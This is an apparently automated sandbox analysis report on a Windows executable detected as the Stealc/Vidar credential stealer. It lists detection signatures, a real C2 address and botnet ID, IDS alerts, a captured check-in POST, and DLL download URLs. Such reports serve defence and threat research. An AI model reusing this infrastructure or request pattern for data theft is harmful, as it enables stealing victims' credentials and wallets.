Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1525393
MD5:	4aeafaf620afe668762dce203569036f
SHA1:	fb07635a603b5b30d7c76c5cc90daa09bf3bdd4d
SHA256:	dc1f7e05c1c53f87b90d5b911b1608a3f0aa73c2c0aa87ee61dadd4c3648a02c
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3348 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 4AEAFAF620AFE668762DCE203569036F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2250375452.000000000163E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2022166427.0000000005250000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 3348	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3348	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3348	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3348	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.6e0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T05:44:57.487063+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T05:44:57.480429+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T05:44:57.712418+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T05:44:58.847941+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T05:44:57.721461+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T05:44:57.248357+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T05:44:59.436599+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-04T05:45:05.532448+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-04T05:45:06.678984+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-04T05:45:07.315598+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-04T05:45:08.085283+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-04T05:45:10.296443+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-04T05:45:10.899191+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJEHJJKJEGHJJKEBFBGHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 45 45 33 39 36 36 42 32 32 34 38 32 36 30 34 39 38 32 31 36 30 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 2d 2d 0d 0a Data Ascii: ------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="hwid"FEE3966B22482604982160------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="build"doma------HJJEHJJKJEGHJJKEBFBG--

Source: file.exe, 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2250375452.000000000163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2250375452.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2250375452.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2250375452.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllH
Source: file.exe, 00000000.00000002.2250375452.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2250375452.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll2
Source: file.exe, 00000000.00000002.2250375452.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2250375452.0000000001685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2250375452.0000000001685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll(
Source: file.exe, 00000000.00000002.2250375452.0000000001685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dlls
Source: file.exe, 00000000.00000002.2250375452.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2250375452.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll.
Source: file.exe, 00000000.00000002.2250375452.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2250375452.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2250375452.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dllH
Source: file.exe, 00000000.00000002.2250375452.000000000163E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2250375452.00000000016B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php(
Source: file.exe, 00000000.00000002.2250375452.000000000163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php0%u
Source: file.exe, 00000000.00000002.2250375452.000000000163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php2
Source: file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpF
Source: file.exe, 00000000.00000002.2250375452.000000000163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpJ
Source: file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpO
Source: file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpdll
Source: file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpl
Source: file.exe, 00000000.00000002.2250375452.00000000016B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwser
Source: file.exe, 00000000.00000002.2250375452.000000000163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37S
Source: file.exe, 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2263292809.000000001D965000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2277946638.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2103938557.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJ.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJJJKKFHIDAAKF.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJJJKKFHIDAAKF.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2103938557.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJ.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2103938557.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2103938557.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJJJKKFHIDAAKF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJJJKKFHIDAAKF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000003.2103938557.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJ.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2103938557.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJ.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2103938557.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJ.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: AFCBKFHJJJKKFHIDAAKF.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: BAKJKFHCAEGDHIDGDHDAKEGHCG.0.dr	String found in binary or memory: https://support.mozilla.org
Source: BAKJKFHCAEGDHIDGDHDAKEGHCG.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BAKJKFHCAEGDHIDGDHDAKEGHCG.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJJJKKFHIDAAKF.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2250375452.0000000001704000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJJJKKFHIDAAKF.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2103938557.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJ.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2103938557.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJ.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BAKJKFHCAEGDHIDGDHDAKEGHCG.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: BAKJKFHCAEGDHIDGDHDAKEGHCG.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: BAKJKFHCAEGDHIDGDHDAKEGHCG.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2203002478.000000002FABF000.00000004.00000020.00020000.00000000.sdmp, BAKJKFHCAEGDHIDGDHDAKEGHCG.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: BAKJKFHCAEGDHIDGDHDAKEGHCG.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2203002478.000000002FABF000.00000004.00000020.00020000.00000000.sdmp, BAKJKFHCAEGDHIDGDHDAKEGHCG.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2203002478.000000002FABF000.00000004.00000020.00020000.00000000.sdmp, BAKJKFHCAEGDHIDGDHDAKEGHCG.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C6CB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C6CB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C6CB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C66F280

